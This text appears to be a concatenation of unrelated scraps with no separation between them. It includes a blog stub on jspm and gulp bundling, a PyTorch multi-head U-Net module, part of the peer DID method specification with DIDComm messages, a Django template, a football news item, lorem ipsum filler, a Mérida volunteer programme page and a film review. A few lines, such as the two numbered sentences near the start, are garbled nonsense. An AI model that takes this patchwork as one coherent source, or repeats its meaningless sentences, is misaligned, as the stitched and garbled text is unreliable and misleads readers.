--- title: Test author: R package build date: '2021-10-25' slug: test categories: [] tags: [] subtitle: '' summary: '' authors: [] lastmod: '2021-10-25T10:25:20+01:00' featured: no image: caption: '' focal_point: '' preview_only: no projects: [] ---
say hello!


There are several option flags that you can use along with additional commands when running the project. This section will discusss those as well as production and deployment workflows.
In the index.html file you'll notice several System.import declarations.
These declarations can be commented or uncommented to expose different modules or apps. By default the base
example which includes the documentation is the /js/example/app.ng.js file. This file
uses standard router (ngRoute) from Angular. You can also run the example using
ui-router from the angular-ui
project. Finally you can use a boilerplate module to help you get a real project going. Simply uncomment
System.import('js/app');
The markup below is what you'll see in index.html it's here for convenience along with some additional commenting.
<!-- START SCRIPTS -->
<!-- Required to expose System module loading. -->
<script src="jspm_packages/system.js"></script>
<!-- Required when dev or not runing sfx bundle. -->
<script src="config.js"></script>
<!--
Uncomment to use boilerplate sfx bundled app
<script src="js/app.js"></script>
-->
<script>
// NG ROUTE EXAMPLE (Default)
// displays docs/example using ngRoute.
System.import('js/example/app.ng');
// UI ROUTER EXAMPLE
// uncomment to display docs/example using & ui.router.
// System.import('js/example/app.ui');
// PLACEHOLDER EXAMPLE (uses ngRoute)
// uncomment to display app boilerplate.
// System.import('js/app');
</script>
<!-- END SCRIPTS -->
The project uses gulp-jshint as its code quality tool. You can run the linting tool directly or add it as a flag to another task.
Running linting directly.
$ gulp lint
The most common server is probably Express. It has excellent support and examples can be found rather easily. You may also want to take a look at KOA it was written by the same developer that contributed to Express mentioned above. It has gained ground of late and makes great use of generators.
Bundling your project for production and deployment is made easy with systemjs-builder which is packaged within jspm. The output will EXCLUDE any example directories as it assumes you are preparring to deploy in a production environment.Running the follow from your terminal or console will clean your dist directory and bundle the project which would be equivalent to commands you might use directly with the jspm cli.
Standard non self executing bundle.
$ gulp bundle
Bundling with lint.
$ gulp bundle -l
Bundling then serving to test bundle.
$ gulp serve -b
Bundling self executing module equivalent to jspm bundle-sfx js/app bundle.js
. Building in
this manner can produce a bundle which can run independently of your config.jsand
system.js if the runtime:true
option is set in package.json
builder.options object.
$ gulp bundle -s (or --sfx)
The gulp task that bundles your project can be further configured via the package.json file. The project resolve the base url from the package.json jspm.directories.baseURL configuration property of jspm itself. Likewise the builder loads its config file from the jspm.configFile if exists or assumes it is named config.js and is located in the baseURL directory. This ensures less configuration on your part as its using jspm's package.json configuration object itself. There is also a custom key called builder which is used by the project to further configure workflow tasks within gulp.
"builder": {
"expression": "js/app", // your main module entry point.
"outFile": "./dist/js/app.js", // the directory to output your bundle.
"options": {
"runtime": false, // whether to include runtime.
"minify": true, // whether to minify the output.
"sourceMaps":true // whether to include sourcemaps.
"config": {} // options to pass to sourcemaps/minify config.
}
}
You can view systemjs-builder options at Github. You can add whatever options you wish withing the builder.options property.
Take note also of the builder.options.config property. In this property you can pass along source map options.


Annotation Types
Cacheable
Column
Columns
DatastoreIdentity
Discriminator
Element
Embedded
EmbeddedOnly
Extension
Extensions
FetchGroup
FetchGroups
FetchPlan
FetchPlans
ForeignKey
ForeignKeys
Index
Indices
Inheritance
Join
Joins
Key
NotPersistent
Order
PersistenceAware
PersistenceCapable
Persistent
PrimaryKey
Queries
Query
Sequence
Serialized
Transactional
Unique
Uniques
Value
Version |


[1]
i expected at least a 3 easy due to shake it get a real drag.
[2]
i expected at least a 3 easy due to read caller ID unless opening phone in general.


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = "Christian Heider Nielsen"
__doc__ = r"""
Created on 19-09-2021
"""
from typing import Dict, Iterable, Sequence, Tuple, Union
import numpy
import torch
from draugr.torch_utilities import to_tensor
from torch import nn
from torch.nn import init
from neodroidvision.multitask.fission.skip_hourglass.factory import (
fcn_decoder,
fcn_encoder,
)
from neodroidvision.multitask.fission.skip_hourglass.modes import MergeMode, UpscaleMode
__all__ = ["SkipHourglassFission"]
[docs]class SkipHourglassFission(nn.Module):
"""
Multi Headed Skip Fully Convolutional Network
Based on https://arxiv.org/abs/1505.04597
Contextual spatial information (from the decoding, expansive pathway) about an input tensor is merged
with information representing the localization of details (from the encoding, compressive pathway).
Modifications to the original paper:
(1) padding is used in 3x3 convolutions to prevent loss of border pixels
(2) merging outputs does not require cropping due to (1)
(3) residual connections can be used by specifying UNet(merge_mode='add')
(4) if non-parametric upsampling is used in the decoder
pathway (specified by upmode='upsample'), then an
additional 1x1 2d convolution occurs after upsampling
to reduce channel dimensionality by a factor of 2.
This channel halving happens with the convolution in
the tranpose convolution (specified by upmode='fractional')"""
[docs] def parse_arguments(self, up_mode: UpscaleMode, merge_mode: MergeMode):
"""
Args:
up_mode:
merge_mode:
"""
if up_mode in UpscaleMode:
self.up_mode = up_mode
else:
raise ValueError(
f'"{up_mode}" is not a valid mode for upsampling.'
f' Only "fractional" and "upsample" are allowed.'
)
if merge_mode in MergeMode:
self.merge_mode = merge_mode
else:
raise ValueError(
f'"{up_mode}" is not a valid mode for merging up and down paths.'
f' Only "concat" and "add" are allowed.'
)
if self.up_mode == UpscaleMode.Upsample and self.merge_mode == MergeMode.Add:
# NOTE: up_mode 'upsample' is incompatible with merge_mode 'add'
raise ValueError(
'up_mode "upsample" is incompatible with merge_mode "add"'
"can not use nearest neighbour to reduce depth channels (by half)."
)
[docs] def __init__(
self,
*,
input_channels: int,
output_heads: Union[Dict, Iterable],
encoding_depth: int = 5,
start_channels: int = 32,
up_mode: UpscaleMode = UpscaleMode.FractionalTranspose,
merge_mode: MergeMode = MergeMode.Add,
):
"""
:type input_channels: int
:type output_heads: Union[Dict, Iterable]
:type encoding_depth: int
:type start_channels: int
:type up_mode: str
:type merge_mode: str
:param input_channels: number of channels in the input tensor. E.g. 3 for RGB images.
:param output_heads:
:param encoding_depth: number of MaxPools in the U-Net.
:param start_channels: number of convolutional filters for the first convolution.
:param up_mode: string, type of upconvolution. Choices: 'fractional' for transpose convolution or
'upsample' for nearest neighbour upsampling.
:param merge_mode:"""
super().__init__()
self.parse_arguments(up_mode, merge_mode)
self.start_channels = start_channels
self.network_depth = encoding_depth
down_convolutions, encoding_channels = fcn_encoder(
input_channels, self.network_depth, self.start_channels
)
self.down_convolutions = nn.ModuleList(down_convolutions)
self.default_prefix = "fork"
self._dict_output = False
if isinstance(output_heads, Dict):
self.forks = output_heads
self._dict_output = True
else:
self.forks = {
f"{self.default_prefix}{i}": s for i, s in enumerate(output_heads)
}
for iden, channel_size in self.forks.items():
up_convolutions_ae, ae_prev_layer_channels = fcn_decoder(
encoding_channels, self.network_depth, self.up_mode, self.merge_mode
)
up_convolutions_ae.append(
nn.Conv2d(
ae_prev_layer_channels,
channel_size,
kernel_size=1,
groups=1,
stride=1,
)
)
setattr(self, iden, nn.ModuleList(up_convolutions_ae))
self.reset_params()
[docs] @staticmethod
def weight_init(m: nn.Module) -> None:
"""
Args:
m:
"""
if isinstance(m, nn.Conv2d):
init.xavier_normal_(m.weight)
init.constant_(m.bias, 0)
[docs] def reset_params(self) -> None:
"""description"""
for i, m in enumerate(self.modules()):
self.weight_init(m)
[docs] def forward(
self, x_enc: torch.Tensor
) -> Union[Tuple[torch.Tensor], Dict[str, torch.Tensor]]:
"""
Args:
x_enc:
Returns:
"""
encoder_skips = []
for i, module in enumerate(
self.down_convolutions
): # encoder pathway, keep outputs for merging
x_enc, before_pool = module(x_enc)
encoder_skips.append(before_pool)
out = {}
for key in self.forks.keys():
x_prev = x_enc
fork_i = getattr(self, key)
for j, module in enumerate(fork_i[:-1]):
before_pool_skip = encoder_skips[-(j + 2)]
x_prev = module(before_pool_skip, x_prev)
out[key] = fork_i[-1](x_prev)
if self._dict_output:
return out
return (*out.values(),)
[docs] def trim(self, idx: Sequence[Union[str, int]]) -> None:
"""
Args:
idx:
"""
if not isinstance(idx, Sequence):
idx = list(idx)
for a in idx:
if not isinstance(a, str):
a = f"{self.default_prefix}{a}"
delattr(self, a)
if __name__ == "__main__":
def _main():
from matplotlib import pyplot
channels = 3
model = SkipHourglassFission(
input_channels=channels,
output_heads=(channels, 1),
encoding_depth=2,
merge_mode=MergeMode.Concat,
)
x = to_tensor(
numpy.random.random((1, channels, 320, 320)), device="cpu"
).float()
out, out2, *_ = model(x)
loss = torch.sum(out)
loss.backward()
im = out.detach()
print(im.shape)
pyplot.imshow((torch.tanh(im[0].transpose(2, 0)) + 1) * 0.5)
pyplot.show()
im2 = out2.detach()
print(im2.shape)
pyplot.imshow((torch.tanh(im2[0][0, :, :]) + 1) * 0.5)
pyplot.show()
_main()


--- title: ms110 keywords: fastai sidebar: home_sidebar summary: "ms110 classes and functions" description: "ms110 classes and functions" nb_path: "01_ms110.ipynb" ---
readMS110
readMS110()
Simple MS110 Function
'MS110 Test0'
assert(readMS110()) == 'MS110 Test0'


Mapzap
Zoom
Legend
Download
View
Split View
Map View
Table View
/
Feature Info
×
Legend
×
This website requires JavaScript!


Protocols are just formal recipes for stateful interactions. All peers will interact through protocols of one type or another. Work on this spec grew out of work on DIDComm, which is the basis of many JSON-message-based protocols that take advantage of DID-based encryption and privacy. However, using DIDComm is not the only way to build a protocol. Therefore, this spec presents a general recipe for creating, reading, updating, and deactivating DIDs, and then specifies how that recipe manifests specifically in a DIDComm variant. It is possible to be compliant with the spec using a non-DIDComm protocol, too--as long as whatever protocol is used is known to both parties and meets the requirements of the general recipe.
As described in the introduction, we call this the "peer" DID method because it enables peers to exchange
DIDs without recourse to a central authority. Thus, we expect all participants in the protocol to play the
same peer
role, and to operate by exactly the same rules. And this is the case, at a high
level.
However, at another level of detail, each peer may interact through various pieces of software and hardware that proxy them. They may need to reveal a modest amount of information about such agents to achieve cooperative security. For example, Alice may control three devices and may wish to protect herself from hacking by saying that at least two of her existing devices must agree before a new device can be added or an existing device can be revoked. This requires her to share her M-of-N authorization policy with Bob, with enough information about agent keys that he can validate a multi-party digital signature. Thus, our protocol must occasionally contemplate details about this more granular level of each peer's sovereign domain.
Although the work of creating a peer DID and the genesis version of its DID doc can be done at any time and does not require communication, registering a peer DID with the other party or parties in a relationship requires a specific protocol. This is the only protocol that must be supported by an implementation that targets Layer 2a or Layer 2b support.
Give the stored variant of a peer DID doc to a remote party in a way that guarantees:
A trivial example of a compliant protocol might be for Alice and Bob to use AirDrop to trade DID docs between Macbooks when they are standing next to each other -- IFF they are confident that the communication channel between them is not hacked. This approach would not work well when the parties are remote, because trust would be unachievable. Using HTTPS might be an improvement in that situation, if it were done carefully. However, even with HTTPS, there are subtleties to consider and ways to go wrong. A careful study of the DIDComm protocol and its guarantees is recommended when exploring alternatives.
Agents that are capable of DIDComm use the Out-of-Band Protocol to invite/trigger connections, and a handshake protocol like DID Exchange to complete it. These protocols are formally documented in Aries RFC 0434 and Aries RFC 0023; only a summary of the process is offered here. It has 3 steps:
One of the parties (the inviter) sends an invitation to connect. The invitation is NOT encrypted, and it does NOT require the recipient (the invitee) to have special software that understands this protocol. Instead, it is a specially formatted URI that can be a deferred deep link, helping the invitee to learn about SSI, get an SSI-capable app, and otherwise onboard into the ecosystem. If the invitee already has SSI-aware software, the URI can be recognized by a registered handler, short-circuiting the URI fetch and the onboarding/ learning process. This invitation URI may be transmitted by email, SMS, QR code, or any other convenient method. If it is important to the inviter that it be secured, the inviter can share the invitation on a secure channel.
If this relationship is intended to preserve anonymity, it should not be sent from or to personal email, sms, etc. Instead, a one time identifier should be for whichever side(s) wish be anonymous.
These three steps have been carefully defined to achieve a number of important goals:
For public invitations, additional security against man-in-the-middle attacks may be achieved by signing the invitation message. If the public invitation includes an anywise DID, the invitee should verify that the signature on the invitation matches with an active (not revoked!) verification key for the DID. If the public invitation includes a verification key, then the invitee should verify that the signature on the invitation matches that key, and once the DIDs are exchanged, the invitee should ask the inviter to prove they still control that verification key. Regardless, having a trustworthy channel of communication is not the same as knowing that the party you're connected with is trustworthy. Further trustbuilding should usually follow the initial connection. This likely includes mutual exchange of verifiable credentials.
With peer DIDs, resolution can be local or remote, and it can be resolution of either one's own peer DID, or of a peer DID from a remote party. Local resolution of any DID--one's own or another's--is often a simple matter of looking up a DID doc in a local cache. This lookup is internal and can be done any way an implementation chooses. No protocol is required, and this spec has no opinion about how it should work. However, when resolution involves a remote party (either one's own agent or the agent of a peer), a protocol is involved.
Because peer DIDs are supposed to be resolvable ONLY by peers, resolution requests in this method
MUST NOT be honored if they do not come from peers. Furthermore, reasoning about the correctness of a response
is only possible if the genesis version of a peer DID doc is known to the requester. Implementations SHOULD
NOT return a resolved DID doc to a party that does not possess a copy of the genesis DID doc, or some
legitmate derivation thereof. To do otherwise would be to ask the requester
to trust the
responder
in a way that dilutes the goals of the method.
A requester
should formally ask a remote party for the DID doc--perhaps a specific version
or timestamp thereof--that corresponds to a particular DID. A responder
should reply with
compatible data, in a way that guarantees confidentiality and integrity, plus:
responder
can tell that the requester
is an authorized peer.A trivial example of this recipe might be for Alice and Bob to perform mutual (NOT one-way) authentication over HTTPS, and then to engage in a web service-based interaction that produces the resolved doc. This approach is susceptible to MITM eavesdropping such as the ones used by SSL visibility appliances offered by Symantec and F5. It should therefore be used with careful consideration of the required Message Trust Context.
The DIDComm variant of this recipe is documented in greater detail in Aries RFC 0124. Here, we offer only a summary.
A peer DID can be resolved to a DID document by sending a resolve message from one peer to another:
{ "@type": "did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/did_resolution/0.1/resolve", "@id": "6a4986dd-f50e-4ed5-a389-718e61517207", "did": "did:peer:1zQmZMygzYqNwU6Uhmewx5Xepf2VLp5S4HLSwwgf2aiKZuwa", "input_options": { "version_time": "2019-07-23T18:05:06.123Z" } }
The version_time
property is optional and often omitted; if so, the DID doc at
the current time is returned (see version-time in DID Resolution).
A resolve_result message is returned. It includes a DID doc and some additional metadata, and looks like this:
{ "@type": "did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/did_resolution/0.1/resolve_result", "@id": "1517207d-f50e-4ed5-a389-6a4986d718e6", "~thread": { "thid": "6a4986dd-f50e-4ed5-a389-718e61517207" }, "did_document": { // full content of resolved variant of DID doc here } }
Note the use of ~thread
in the response, with thid
equal to the
@id
property of the previous request, to connect the two messages. This is a
standard message threading feature of DID Communication, and also shows up in other message interactions
described here.
The subject of a peer DID can update their associated DID document with anyone who knows the DID—one or more agents of the peer(s), or agents of the subject. This operation is more important in the peer DID method than in most other methods, because a loose collection of decentralized peers may include many different views of current state, caused by inconsistent and incomplete connectivity within the peer group.
As with other operations, update must cause data to flow in a way that provides confidentiality and integrity. In addition, the protocol must guarantee that:
These requirements are very demanding. An approach that fails to satisfy the final requirement is easy to imagine, though. Each side maintains a server that knows their own definitive state. Whenever Alice changes her state, she makes sure that her state is known to her server. Bob does corresponding work on his side. Whenever Alice gets a state update from Bob, she assumes that all of Bob's agents agree; whenever she wants to notify Bob that her state has updated, she tells Bob's server, and depends on it to pass the word along inside Bob's domain.
Such an approach does not conform to this spec, because it requires that both identity owners, not just the one running a particular implementation, centralize the management of their identity domains. It also requires that servers be online and reachable during any DID doc updates by either party. This may be a perfectly reasonable choice for any given identity owner, but it is not reasonable to impose on a remote party.
The DIDComm approach implements these protocol requirements by trading sync_state messages with one or more peers. These messages can be sent in a very deliberate fashion, but also in a more casual, gossip style. In addition, any other DIDComm messages exchanged between peers can be decorated with `~state`, allowing checks to see whether a sync is needed. The details of `sync_state` usage are documented in Aries RFC 0030; here, we only summarize.
An example of this type of message is:
{ "@type": "did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/sync-connection/1.0/sync_state", "@id": "e61586dd-f50e-4ed5-a389-716a49817207", "for": "did:peer:11-479cbc07c3f991725836a3aa2a581ca2029198aa420b9d99bc0e131d9f3e2cbe", "base_hash": "d48f058771956a305e12a3b062a3ac81bd8653d7b1a88dd07db8f663f37bf8e0", "base_hash_time": "2019-07-23 18:05:06.123Z", "deltas": [ { "id": "040aaa5e-1a27-40d8-8d53-13a00b82d235", "change": "ewogICJwdWJsaWNLZXkiOiBbCiAgICB...ozd1htcVBWcGZrY0pDd0R3biIKICAgIH0KICBdCn0=", "by": [ {"key": "H3C2AVvL", "sig": "if8ooA+32YZc4SQBvIDDY9tgTa...i4VvND87PUqq5/0vsNFEGIIEDA=="} ], "when": "2019-07-18T15:49:22.03Z" } ] }
This message does not follow a simple request~response pattern, and does not have "update" in its name,
because either party may know details that the other party lacks. This is especially likely when some
agents of either party have been offline. The sender picks a point in time, delta_time
,
where it believes it and the receiver were probably in sync; it then describes the deltas
that it knows about, that have happened since.
If the recipient already has the same state, it replies with an ACK.
If the recipient knew about a subset of the delta, but not all of it, it applies what is left of the delta, and sends an ACK.
If the recipient has a more evolved state, the recipient sends a reply that is a new sync_state
message informing the sender of hitherto unknown information. As with the ACKs, this new message is
known to be a reply to the original sync_state
because its
~thread
decorator identifies the previous message's @id
as its
thid
.
If the recipient does not recognize base_hash
, it selects a hash from a point in time earlier than
base_hash_time
and sends back a new sync_state
message with that earlier base.
Because of the nature of our CRDT rules, truly
problematic merge conflicts cannot occur. All objects in the DID doc that
have an id
property are immutable, and ordering of operations does not
need to be highly consistent. Furthermore, an object in both deleted and
undeleted state must be deemed to be deleted. However, if the recipient
detects a trivial conflict, the delta with the id
that sorts smaller/lower
is selected..
In a self-sovereign paradigm, abandoning a relationship can be done unilaterally, and does not require formal announcement; one party can simply stop communicating with the other. Since there is no public record of the relationship to delete, no further action is strictly required. Indeed, sometimes a formal announcement is impossible, if one of the parties is offline.
However, it is best practice to announce that the relationship is being abandoned. This should cause the other party to clean up by removing the DID, DID doc, and associated metadata from its local cache. It should also prevent the other party from trying to communicate in the future.
Send a message or make an API call announcing that the relationship is over. Possibly, receive an acknowledgement in response.
Formally terminating a connection happens by sending an
announce
message to a peer:
{ "@type": "did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/abandon_connection/1.0/announce", "@id": "c17147d2-ada6-4d3c-a489-dc1e1bf778ab", "~please_ack": {} }
If Bob receives a message like this, he should assume that Alice no longer considers herself connected, and take appropriate action. This could include destroying data about Alice that he has accumulated over the course of their relationship, removing her peer DID and its public key(s) and endpoints from his wallet, and so forth. The nature of the relationship, the need for a historical audit trail, regulatory requirements, and many other factors may influence what's appropriate; the protocol simply requires that the message be understood to have permanent termination semantics.
The
~please_ack
decorator is optional. It asks the receiver to send an acknowledgement that
it has processed the message. If used, the receiver should send an ACK that looks like this:
{ "@type": "did:sov:BzCbsNYhMrjHiqZDTUASHg;spec/abandon_connection/1.0/ack", "@thread": { "thid": "c17147d2-ada6-4d3c-a489-dc1e1bf778ab" } }


{% extends 'basic.html' %} {% load static %} {% block title %} HOME-Hospital management {% endblock %} {% block body %} Contact us Lorem ipsum dolor sit amet, consectetur Quick Contact Full Address: 62 West 55th Street, Suite 302 New York, NY, 10230 Cell No: +880<PHONE_NUMBER> Fax No: +58 -<PHONE_NUMBER> Ambulance: +<PHONE_NUMBER>21 Make an Appointment 1-234-567-890 OR Are you human? © Copyright 2020, made with by Pawan Kumar {% endblock %}
Lorem ipsum dolor sit amet, consectetur
Full Address: 62 West 55th Street, Suite 302 New York, NY, 10230
Cell No: +880<PHONE_NUMBER>
Fax No: +58 -<PHONE_NUMBER>
Ambulance: +<PHONE_NUMBER>21


What Pep Guardiola did after Man Utd ace Fred received alleged racist abuse
by Ron CarneMan City boss Pep Guardiola reportedly tracked down Fred after the Man Utd star appeared to be racially abused during Saturday’s clash.
Live footage of the game appeared to show a City fan direct a racist gesture towards the Brazilian midfielder, something that he has since denied, as per the Sun, as he has blasted accusations of being racist and making any racist gestures.
SEE MORE: Video: Raheem Sterling criticised for doing nothing as Fred is pelted by Man City fans
However, as noted by The Sun, he was arrested as a result and the FA are expected to launch an investigation and so time will tell what conclusion is reached on the matter.
The report does go on to note that Guardiola showed his class by tracking down Fred by the tunnel after the game to offer some words of comfort while City officials were also in discussions with their counterparts too as they are said to have insisted that they will deal with the issue.
While it’s obviously not a gesture that will gloss over the incident, it’s one that will perhaps have been appreciated by Fred and it will be reassuring for all concerned to know that the relevant steps will be taken to address the incident rather than try to sweep it under the rug.
In turn, if accurate, it’s a nice touch from Guardiola, while also perhaps confirming that the Man City camp were well aware of the incident almost immediately.
As noted in the report above though, the 41-year-old fan in question has denied that he was being racist, and so it remains to be seen what the outcome is both in terms of the police and FA investigations.


Zombies reversus ab inferno, nam malum cerebro. De carne animata corpora quaeritis. Summus
sit, morbo vel maleficia? De Apocalypsi undead dictum mauris. Hi mortuis
soulless creaturas, imo monstra adventus vultus comedat cerebella viventium. Qui offenderit
rapto, terribilem incessu. The voodoo sacerdos suscitat mortuos comedere
carnem. Search for solum oculi eorum defunctis cerebro. Nescio an Undead zombies. Sicut
malus movie horror.
This Is Another Heading!
Cum horribilem resurgere de sepulcris creaturis, sicut de iride et serpens. Pestilentia, ipsa screams. Pestilentia est haec ambulabat mortuos. Sicut malus
voodoo. Aenean a dolor vulnerum aperire accedunt, mortui iam vivam. Qui tardius moveri, sed in
magna copia sint terribiles legionis. Alii missing oculis aliorum sicut serpere crabs nostram.
Putridi odores aere implent.
Importance!
Origin!
Specificity!
Position!
Must go faster... go, go, go, go, go! Do you have any idea how long it takes those cups to
decompose. Life finds a way. I was part of something special. This thing comes fully loaded.
AM/FM radio, reclining bucket seats, and... power windows. God help us, we're
in the hands of engineers.
Hey, you know how I'm, like, always trying to save the planet? Here's my chance. Did
he just throw my cat out of the window? Hey, you know how I'm, like, always trying to save the
planet? Here's my chance. Yeah, but your scientists were so preoccupied with
whether or not they could, they didn't stop to think if they should.
We gotta burn the rain forest, dump toxic waste, pollute the air, and rip up the OZONE!
'Cause maybe if we screw up this planet enough, they won't want it anymore! You really think
you can fly that thing? You really think you can fly that thing? God creates dinosaurs. God
destroys dinosaurs. God creates Man. Man destroys God. Man creates
Dinosaurs.
Lobster Rolls
Burritos
Sushi & Ramen
BBQ
Bruins
Celtics
Patriots
Red Sox
This is small text using the small tag.
Doggo ipsum long woofer stop it fren long woofer puggo I am bekom fat wrinkler shoober,
puggo extremely cuuuuuute aqua doggo long water shoob many pats. Doing me a frighten you are
doing me the shock noodle horse wow such tempt ruff, long bois blop extremely cuuuuuute.
 Mlem dat tungg tho such treat waggy wags long bois, heckin good boys long bois ruff.
Vvv super chub big ol pupper smol borking doggo with a long snoot for pats shibe mlem,
heckin good boys and girls waggy wags boofers borkdrive. Snoot he made many
woofs stop it fren very good spot wrinkler porgo heck clouds, the neighborhood pupper very
jealous pupper long woofer noodle horse snoot.
Shoober maximum borkdrive long doggo clouds fat boi, long bois puggo puggorino. Noodle
horse long water shoob woofer dat tungg tho vvv, shoober doggorino long
water shoob much ruin diet.  Extremely cuuuuuute he made
many woofs borking doggo, you are doing me a frighten. Heckin good boys and girls ur givin
me a spook borking doggo borkdrive long water shoob heckin angery woofer wrinkler very taste
wow wow such tempt, adorable doggo doing me a frighten thicc bork shoober
doggorino maximum borkdrive. Smol borking doggo with a long snoot for pats heck shoob
vvv shooberino heck, heckin angery woofer snoot blep. Shibe porgo doggo shibe wow very
biscit shoober mlem thicc, corgo the neighborhood pupper shooberino you are doin me a
concern wow such tempt. Very hand that feed shoober doggorino h*ck noodle
horse clouds heckin angery woofer, big ol pupper shooberino heckin good boys and girls.
Yapper tungg very taste wow thicc, you are doing me a frighten.


Each exclusion uses ant pattern matching,and must be separated by a new line.
src/main/web/**/*.html src/main/web/**/*.jpeg


Merida is the capital of the Mexican state of Yucatan. This Spanish Colonial city has a growing population, and known for its family-centered tranquility and modern amenities, like shopping malls. The Yucatan is home to one of Mexico’s indigenous populations, people who are descendants of the ancient Maya civilizations whose native Mayan language is still spoken in villages through the region. Merida’s location in the Yucatan Peninsula makes it easy to travel to ancient archeological ruins and existing wonders, such as Chichen Itza and Uxmal, and to beaches and natural reserves, plus to the phenomenal Maya Riviera on the Caribbean.
Volunteer Inn Mérida works with a variety of private and non-profit organizations to provide much-needed help to the social, environmental and practical needs of the community each serves. Volunteers can choose between SIX different areas and select from up to TEN different programs (read on for details below). Additional opportunities are available to participate and learn from community works projects around the city, as new requests come to our office daily. For the most part volunteer assignment are the functional equivalent of “internships” where learning and service are the primary goals.
Volunteers are also strongly encouraged to supplement their volunteer work with afternoon Spanish classes (extra fee) at the Institute of Modern Spanish. For more information, please see our volunteer programs.
The accommodations at the volunteer dorm, we call “Casa Colibrí,” are very nice. The dorm has eight bedrooms (dormitory style) with shared bathrooms. Guests can swim in the pool (rules posted), receive free WiFi and there’s a small kitchenette area where volunteers can fix small meals.
Dorm living requires sharing. Volunteers from all over the world must understand they will be sharing a room with at least one other volunteer. The large rooms accommodate as many as five volunteers.
The rooms are comfortable, but we do not have hot water showers. Most of the time we do not need hot water as the weather is hot and the water tank warms up with the heat in the afternoon, but cool water can be uncomfortable to some people.
Volunteers staying at the guest house, are served breakfast at 6:30AM to 7:30AM weekdays (a bit later on the weekends). Breakfasts are cereal, milk, bread and fruit. It is self-service, but we do provide eggs in the morning for volunteers who wish to cook. Lunch is available at (or near) the volunteer placements. We use local kitchen services and diners for these lunches.
Dinner is served at the volunteer house between 7:30 and 8:30 PM. We have a local woman (experienced cook) who prepares dinners most evenings during the week. She is an excellent. Dinners come from local establishments in the area on weekends.
In order to obtain the most benefits from the immersion opportunities of your volunteer program, we invite you to consider staying with a local family. We select families for their willingness to welcome students and volunteers into their homes. This is an excellent opportunity to practice Spanish and conversation, and experience the local culture firsthand. All host families are experienced and invaluable in providing city orientation as well as an insider’s view of customs and traditions.
Our administrative staff maintains an extensive listing of carefully selected host families. We choose the host family that will be the best match for each student—not only in physical accommodations, but also taking into consideration a student’s interests and preferences.
With such families, volunteers and students are provided with a clean, private room and three delightful, home-cooked meals daily. Safe water for drinking, warm water for bathing, clean sheets and bath towels are also provided. Any special dietary needs–including vegetarian diets–can be met by providing requirements in advance.
Volunteers who are interested, please let us know that you wish to upgrade to the host family homestay. The upgrade to family homestay is an extra US$70 per week and US$110 with AC per week.
1 Week - $324
2 Weeks - $504
3 Weeks - $684
4 Weeks - $840
5 Weeks - $960
6 Weeks - $1080
8 Weeks - $1320
Fees depend on the amount of time that a volunteer chooses to stay in a program. A registration fee of $335USD is required for all volunteers. Half of this deposit is donated to the volunteer’s placements. The other half is used for administration expenses and promotion, to ensure each volunteer has the best possible experience. Additional 5% banking fee applies for international payments.
Along with Institute of Modern Spanish’s professional program management, multi-lingual team, and great 24/7 support, our volunteer programs include:
*Costs of Mexican family homestay are an additional $70USD or $110 with A/C per week.
Flights (usually into Merida International or Cancun International), travel insurance, individual snacks and drinks, daily transportation, vacation travel and educational tours, transfer back to the airport, and personal spending money.
Volunteers working with childcare and youth mentoring programs provide much needed love and attention to children and adolescents from different types of backgrounds...
Volunteers work in public schools and non-profit English language programs not only teach students, but to spark their interest in the language and inspire them to learn and continue their studies in the future...
Volunteers in this project work alongside locals in construction projects to build new structures, improve civil infrastructure initiatives and renovate existing buildings...
In our environmental conservation placements volunteers work with prominent institutions and agencies concerned with the unique conservation issues of the local region.
Volunteers in caregiving projects work in shelters and clinics for the elderly and physically and mentally disabled. They make up for lack of staff to give individual support to the residents and patients of these facilities.
Volunteers work in local animal shelters alongside staff and other volunteers to bathe, brush, train, walk, and play with the cats and dogs to prepare them for adoption.


Review: Wag the Dog By Luke Buckmaster
After viewing Dustin Hoffman and Robert DiNiro tell a story that seems not to be far from the truth, you can't help but suspect that the public has not been told all there is to know about the Whitehouse's sexual allegations. Just after Bill Clinton had been accused of not controlling the insides of his pants, a nuclear threat in Iraq emanated. The prospect of war had begun, but thankfully nothing initiated from it.
An eerily similar situation is evident in Wag the Dog, a refreshingly amusing politically incorrect satire. In essence the film is based around a "Spin Doctor" and Hollywood producer attempting to cover up the Prezy's keen "interest" in a young Girl Scout (2 weeks before the election). In execution, Wag the Dog takes a bold look at how the media is "created;" even if that means degrading itself along the way. Not that the film has much to degrade - acting is sharp and admirable, the no nonsense script is a clever parody of political affairs and it's characters are able to express their engaging opinions through the use of a slick dialogue.
After the Presidents raunchy affairs, Conrad Brean (Robert DiNiro) and Winifred Ames (Anne Heche) work out a way to remove him from the media spotlight before the population can even consider voting differently on re-election. Their plan is simple: cook up a war. What, after all, do most people actually witness in regard to wars? Perhaps photos in magazines, articles in newspapers and video clips on the TV. If this weren't about politics, I'd swear it was about Hollywood.
Realizing this, Conrad and Winifred hire hot shot movie producer (Dustin Hoffman) to create a real life movie. Realistic acting, special effects and surroundings are now more important than ever.
Surely, Wag the Dog has everything going for it. It's funny. It's engaging. It's studious. It's all of those things once or twice.
Because Wag is an eminently repetitive film, for the more derogatory viewer funny can quickly become cruddy, engaging to enraging and studious to fastidious. But for those who crave a solid high quality film, this is probably the best opportunity to view a profuse piece of consistent art that they'll get for a long time. In short: if you like the opening scenes, you'll like the ending scenes. And if you like what's in between, you're set for a great time.
Director Barry Levinson (Disclosure, Donnie Brasco) successfully wags the film into following his precise cynicism of the globe's media. Hoffman, DeNiro and Heche absorb the screen so well that we can't help but think they were meant to act together from the start. Not only do they sound like presidential scammers; they also look like presidential scammers - and follow out to the exact degree what is required for almost perfect performances. Wag the Dog's acting is far better than anything else it has to offer; and although the scripting is intelligently inventive it does get a tad boring when the same method is repeated from scene to scene.
Surely, Wag is a masterpiece that missed the mark.
3 = stars Wag ain't a drag, let the dog show its gob
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Job Search Result
Menu
John
Seeker
Employer
Job Search Result
Job Seeker Profile
Employeer Profile
Job List
View Us
Contact Us
Logout
Front-end Developer
Newyork City, United States
Details


